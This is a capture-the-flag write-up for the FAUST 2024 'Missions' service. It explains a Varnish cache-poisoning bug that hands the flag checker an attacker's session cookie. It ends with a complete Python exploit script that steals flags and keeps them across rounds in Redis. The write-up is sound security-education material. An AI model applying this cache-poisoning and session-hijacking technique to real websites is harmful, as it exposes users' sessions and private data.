FAUST 2024 - Missions

Last modification on

Challenge

Attack-Defence Service 'Missions' for FAUST 2024 CTF

Challenge Files

Overview

The service is themed after a digital bulletin board for spy missions, each with a name, short description and some private data. Users interact with the service via a web frontend, but a backend api is also exposed. Apart from the frontend and backend, the service also features a caching proxy and postgres database.

Analysis

For the caching proxy, varnish 7.5.0 is used. The proxy's configuration in files/v.vcl describes what types of requests will be serviced normally (return (pipe) / return (pass)) and what types of requests will be cached (return (hash)). Specifically, the request url and Host header (or destination ip if the Host header is not present) are used as the lookup key for cached responses (described in sub vcl_hash). Since the use of caching proxies in CTFs is unusual, it's worth taking a look at exactly what kind of requests are cached and how these might be used to trick the flag checker. Here we find that only GET and HEAD requests whose urls include /imgs are cached. Curiously, the line preventing responses which set cookies to be cached is commented out:

sub vcl_backend_response {
        unset beresp.http.Vary;
        if (bereq.uncacheable) {
                return (deliver);
        } else if (beresp.ttl <= 0s ||
          /*beresp.http.Set-Cookie ||*/  <----------
          beresp.http.Surrogate-control ~ "(?i)no-store" ||
          /*(!beresp.http.Surrogate-Control &&
                beresp.http.Cache-Control ~ "(?i:no-cache|no-store|private)") ||*/
          beresp.http.Vary == "*") {
                set beresp.ttl = 360s;
                set beresp.uncacheable = true;
        }
        return (deliver);
}

The frontend is written in typescript and uses the Vue.js framework. The route definitions can be found in the src/pages directory, each of which renders a page and includes some javascript to communicate with the backend api which is exposed through the caching proxy at /api. The following routes are available: /Mission, /MissionLogin and /MissionCreate. Since the frontend simply translates user navigation to the appropriate backend calls, there isn't much to cover here.

The backend is written python as a single-file Flask app, app.py. It allows creating a mission via /api/create which requires a name and a description and returns a secret. This secret is required to authenticate to a mission via /api/authenticate and edit and view the mission data via /api/add_data and api/get_data, where the flag is stored (in the flask session instead of the postgres database for some reason). The backend also allows retrieving all mission names and infos via /api/missions and a specific mission's info via /api/missioninfo/<mission>, Here we again encounter suspicious deviations from defaults, this time concerning flask's session management, suggesting that hijacking the flag checker's session is a likely exploit path:

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.session_protection = None

@app.before_request
def make_session_permanent():
    session.permanent = True

Eventually we discover that for mission names that begin with imgs, requests to /api/missioninfo/<mission> expand to /api/missioninfo/imgs.., which will include /imgs and have their response cached by varnish. Thus, we are able to poison the service response to the missioninfo endpoint with data related to a session we control. By observing service traffic in tulip, we find that the flag checker requests missioninfo from each mission before setting its mission data to the flag. We can take advantage of this, since when the flag checker requests our mission info via /api/missioninfo/<mission>, it will be fed our session cookie, and subsequently set the flag as our mission's data instead!

Full ataka exploit (uses separate redis instance to persist session data across ticks):

exploit.py
#!/usr/bin/env python3

import json, os, random, string, redis, requests

def gen_random(n):
    return "".join(
        random.choice(string.ascii_lowercase + string.ascii_uppercase) for i in range(n)
    )

HOST = os.getenv("TARGET_IP")
HOST = f"[{HOST}]:9090"
EXTRA = json.loads(os.getenv("TARGET_EXTRA", "[]"))
headers = {"Host": HOST}

# get flags from previous round
db = redis.Redis(host="172.17.0.1", port=30001, db=0)
saved = db.get(f"missions-{HOST}")
if saved is not None:
    name, secret = saved.decode().split(",", 1)
    session = requests.Session()
    r = session.post(
        f"http://{HOST}/api/authenticate", json={"mission": name, "secret": secret}
    )
    r = session.post(f"http://{HOST}/api/get_data", json={"secret": secret})
    print(r.json()["data"])
    session.close()

# submit new flags
name = "imgs" + gen_random(10)
data = {"name": name, "short": "Nothing to see here"}
session = requests.Session()
r = session.post(f"http://{HOST}/api/create", json=data, headers=headers)
try:
    secret = r.json()["secret"]
except requests.JSONDecodeError:
    exit()
r = session.get(f"http://{HOST}/api/missioninfo/{name}", headers=headers)
db.set(f"missions-{HOST}", ",".join((name, secret)))